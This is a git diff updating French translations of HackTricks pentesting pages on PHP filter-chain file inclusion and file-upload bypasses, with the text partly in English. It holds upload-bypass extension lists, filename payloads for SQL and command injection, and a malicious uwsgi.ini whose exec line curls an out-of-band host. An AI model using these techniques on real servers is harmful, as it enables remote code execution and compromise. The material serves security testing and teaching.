-## Références +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) @@ -673,6 +674,7 @@ _Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP upl - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index d9b721805..d284adc6e 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -2,38 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} + ## Intro -Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **des filtres php pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** ce code dans un fichier. -Fondamentalement, l'objectif du script est de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée** fournissant la charge utile souhaitée qui sera **interprétée par `include`**. +L'objectif du script est essentiellement de **générer une Base64** chaîne au **début** du fichier qui sera **finalement décodée** fournissant le payload désiré qui sera **interprété par `include`**. Les bases pour faire cela sont : -- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours `\x1b$)C` au début de la chaîne -- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas des base64 valides. Il pose quelques problèmes s'il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`. +- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours en préfixe `\x1b$)C` à la chaîne +- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas valides en base64. Il pose quelques problèmes s'il trouve des "=" inattendus mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`. La boucle pour générer du contenu arbitraire est : -1. ajouter `\x1b$)C` à notre chaîne comme décrit ci-dessus -2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intacte et convertit la partie que nous venons d'ajouter en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64 -3. décoder en base64 et réencoder en base64 la chaîne, ce qui supprimera tout déchet entre les deux -4. Revenir à 1 si le base64 que nous voulons construire n'est pas encore terminé -5. décoder en base64 pour obtenir notre code php +1. préfixer `\x1b$)C` à notre chaîne comme décrit ci‑dessus +2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64 +3. base64-decode et base64-encode la chaîne ce qui supprimera tout garbage intermédiaire +4. revenir à 1 si la base64 que nous voulons construire n'est pas encore terminée +5. base64-decode pour obtenir notre code php > [!WARNING] -> **Les inclusions** font généralement des choses comme **ajouter ".php" à la fin** du fichier, ce qui pourrait compliquer l'exploitation de cela car vous auriez besoin de trouver un fichier .php avec un contenu qui ne tue pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car cela peut **avoir n'importe quoi ajouté dans le nom** (comme +".php") et cela permettra toujours à l'exploit de fonctionner ! +> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! -## Comment ajouter également des suffixes aux données résultantes +## How to add also suffixes to the resulting data -[**Ce writeup explique**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment vous pouvez toujours abuser des filtres PHP pour ajouter des suffixes à la chaîne résultante. C'est génial si vous avez besoin que la sortie ait un format spécifique (comme json ou peut-être ajouter des octets magiques PNG) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou peut‑être en ajoutant des octets magiques PNG) -## Outils automatiques +## Automatic Tools - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(peut ajouter des suffixes)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Script complet +## Full script ```python import requests @@ -95,7 +96,7 @@ print(r.text) ``` ### Améliorations -Le script précédent est limité aux caractères base64 nécessaires pour cette charge utile. Par conséquent, j'ai créé mon propre script pour **bruteforcer tous les caractères base64** : +Le script précédent est limité aux caractères base64 nécessaires pour ce payload. J'ai donc créé mon propre script pour **bruteforce tous les caractères base64** : ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -250,9 +251,10 @@ find_vals($init); } ?> ``` -## Plus de Références +## Références supplémentaires - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 9892c0101..17ae3820a 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,27 +1,27 @@ -# Téléchargement de fichiers +# Téléversement de fichiers {{#include ../../banners/hacktricks-training.md}} -## Méthodologie générale de téléchargement de fichiers +## Méthodologie générale - Téléversement de fichiers Autres extensions utiles : -- **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ -- **Fonctionnement dans PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ -- **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ -- **Jsp :** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ -- **Coldfusion :** _.cfm, .cfml, .cfc, .dbm_ -- **Flash** : _.swf_ -- **Perl** : _.pl, .cgi_ -- **Serveur Web Erlang Yaws** : _.yaws_ +- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ +- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_ +- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ +- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ +- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ +- **Flash**: _.swf_ +- **Perl**: _.pl, .cgi_ +- **Erlang Yaws Web Server**: _.yaws_ -### Contourner les vérifications des extensions de fichiers +### Contourner les contrôles d'extension de fichier -1. Si applicable, **vérifiez** les **extensions précédentes.** Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._ -2. _Vérifiez **en ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_ +1. Si ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **majuscules**: _pHp, .pHP5, .PhAr ..._ +2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes):_ - _file.png.php_ - _file.png.Php5_ -3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les **caractères ascii** et **Unicode**. (_Notez que vous pouvez également essayer d'utiliser les **extensions précédemment** mentionnées_) +3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Note: vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Autres extensions utiles : - _file._ - _file.php...._ - _file.pHp5...._ -4. Essayez de contourner les protections **en trompant le parseur d'extension** du côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (**octets nuls**) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer un meilleur payload._ +4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,65 +40,65 @@ Autres extensions utiles : - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Ajoutez **une autre couche d'extensions** à la vérification précédente : +5. Ajoutez **une autre couche d'extensions** aux tests précédents : - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais **pas nécessairement se terminant par .php** exécutera du code) : -- _ex : file.php.png_ -7. Utilisation de **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”) -8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php +6. Essayez de placer **l'extension exécutable avant l'extension valide** et priez que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui contient l'extension **.php**, mais **n'ayant pas nécessairement .php en fin de nom**, exécutera du code) : +- _ex: file.php.png_ +7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son nom court. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut également être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”) +8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png -# Téléchargez le fichier et vérifiez la réponse combien de caractères il permet. Disons 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Créez le payload +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` ### Contourner Content-Type, Magic Number, Compression & Redimensionnement -- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_ +- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_ 1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contourner la vérification de **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\ +- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées** :\ `exiftool -Comment="' >> img.png` -- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- Si une **compression** est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Autres astuces à vérifier +### Autres astuces à tester -- Trouvez une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension). -- Trouvez une vulnérabilité de **Local File Inclusion** pour exécuter le backdoor. -- **Possible divulgation d'informations** : -1. Téléchargez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom** -2. Téléchargez un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà** -3. Téléchargez un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”. -4. Téléchargez un fichier qui peut ne pas être facilement supprimé tel que **“…:.jpg”** dans **NTFS**. (Windows) -5. Téléchargez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows) -6. Téléchargez un fichier sous **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9. -- Essayez également de **télécharger un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime. +- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension). +- Trouver une vulnérabilité **Local File Inclusion** pour exécuter le backdoor. +- **Divulgation d'information possible** : +1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom** +2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà** +3. Téléverser un fichier nommé **"." , "..”**, ou "…” . Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le dossier "/www/uploads/”, le nom de fichier "." créera un fichier appelé "uploads” dans le répertoire "/www/”. +4. Téléverser un fichier difficile à supprimer comme **"…:.jpg”** sur **NTFS**. (Windows) +5. Téléverser un fichier sous **Windows** avec des **caractères invalides** comme `|<>*?”` dans son nom. (Windows) +6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** quand il sera accidentellement ouvert par la victime. -### Astuces spéciales d'extension +### Astuces pour extensions spéciales -Si vous essayez de télécharger des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Si vous essayez de télécharger des fichiers sur un **serveur ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Si vous essayez de téléverser des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Si vous essayez de téléverser des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...) +Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...) -L'extension `.inc` est parfois utilisée pour des fichiers PHP qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu permettre **l'exécution de cette extension**. +L'extension `.inc` est parfois utilisée pour des fichiers php servant uniquement à **inclure/importer** du code, donc, à un moment, quelqu'un peut avoir autorisé **cette extension à être exécutée**. ## **Jetty RCE** -Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez obtenir [RCE car **les nouveaux \*.xml et \*.war sont automatiquement traités**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell ! +Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell ! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,9 +106,9 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité. +Des vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas supportés par uWSGI, le schéma "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité. -Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas : +Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant : ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service), soit le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications. +L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou en raison d'une attaque de Denial of Service), soit que le fichier soit configuré en auto-reload. La fonctionnalité d'auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications. -Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. En particulier, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel. +Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi encore le champ d'exploitation potentiel. ## **wget File Upload/SSRF Trick** -Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\ -La **longueur maximale** d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**. +Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l’**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\ + +La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,82 +157,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un autre fichier**, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**. +Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## Outils +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et les Bug Hunters à tester les mécanismes de téléchargement de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. -## Du téléchargement de fichiers à d'autres vulnérabilités +### Corrupting upload indices with snprintf quirks (historical) -- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal** -- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL** -- Définissez **filename** sur `` pour réaliser un XSS -- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md)) -- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Fameuse vulnérabilité 